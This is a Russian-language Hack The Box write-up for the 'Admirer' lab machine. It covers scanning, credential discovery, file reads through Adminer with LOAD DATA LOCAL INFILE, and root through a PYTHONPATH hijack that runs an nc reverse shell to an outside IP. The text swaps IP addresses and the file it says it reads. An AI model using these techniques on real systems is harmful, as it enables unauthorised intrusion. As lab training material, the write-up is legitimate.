Hack The Box. Прохождение Admirer. Уязвимость в Admirer и RCE через подмену переменной среды +9


AliExpress RU&CIS


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной стать мы много-много сканируем, эксплуатируем RCE в Admirer и изменяем переменную среды для выполнения своего кода python.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.189, который я добавляю в /etc/hosts.

10.10.10.187 	admirer.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A admirer.htb -p80,22,21



Из результата сканирования nmap выбираем свой следующий шаг. Так на сервере присутствую службы FTP и SSH, но для них требуются учетные данные. Так же присутствует веб сервер Apache, на котором присутствует файл robots.txt. В данном файле всего одна запись — директория admin-dir. Так как больше никакой информации не представлено, наш следующий шаг — сканирование директорий. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt



И мы находим два файла: первый содержит адреса электронных почт, а второй — различные учетные данные.





И среди учетных данных находим креды для FTP. И Удачно подключаемся.



Осмотримся на сервере.



Давайте скачаем все файлы.



Есть подозрение, что данный архив является бэкапом сайта, давайте разархивируем и посмотрим, что в нем.
mkdir HTML
mv html.tar.gz HTML/ 
cd HTML
tar -xf html.tar.gz



Снова присутствует файл robots.txt и какая-то секретная директория, содержащая все те же файлы contacts.txt и credentials.txt.



Первый файл ничем не отличается от уже имеющегося, а вот среди учетных данных есть те, которых у нас нет.



Попытавшись их использовать, ни к чему не приходим. Давайте поищем строки user и pass во всех скачанных файлах.
grep -R -i "user\|pass" ./



И мы находим еще два пароля для одного и того же пользователя. Я собрал все имеющиеся учетные данные.



Но и они никуда не подошли.

Entry Point


При попытке выполнить неразрешенные на сайте задачи, получим отказ.







Так как все исполняемые файлы расположены в директории utility-scripts, давайте просканируем ее на хосте, причем искать будет файлы php.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php



И находим файл admirer.php.



Поискав информацию, из следующих источников стало понятно как получить RCE. Если указать в качестве сервера свой хост, то можно увидеть попытку подключения.

Давайте запустим на локально хосте службу myqsl.
sudo service mysql start
sudo mysql -u root

И создадим пользователя для авторизации.
create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';



Теперь изменим файл конфигураций /etc/mysql/mariadb.conf.d/50-server.cnf, чтобы кто угодно мог подключаться к нашему хосту. Для этого закомментируем строку bind-address и перезапустим службу.



sudo service mysql restart

Авторизуемся от имени только что созданного пользователя.





USER


Давайте выберем нашу БД.



Далее создадим таблицу.



И выполним SQL запрос, чтобы прочитать файл index.php, в котором мы можем найти учетные данные (как это было в бэкапе).
load data local infile '../../../../etc/passwd'
into table admirerdb.admirertable
fields terminated by '\n'



Теперь перейдем к нашей созданной таблице.



И найдем учетные данные.



И с данным паролем мы успешно авторизуемся через SSH.









ROOT


Давайте проверим настройки sudo.



Таким образом, мы можем выполнить данный скрипт от имени супер пользователя. При просмотре данного скрипта, находим выполнения скрипта python, который так же выполняется под sudo.



И в самом скрипте указан неявный импорт.



Давайте посмотрим переменные окружения, нас интересуют пути python.



Таким образом, мы можем создать файл с таким же именем, содержащий такую же функцию, но выполняющую другие действия. А потом изменяя данную переменную среды, запустим программу, что приведет к выполнению нашего файла.
def make_archive():
        import os
        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')

make_archive()



Выполним скрипт.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh



И получаем бэкконнект шелл.



У нас полный над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.




Комментарии (0):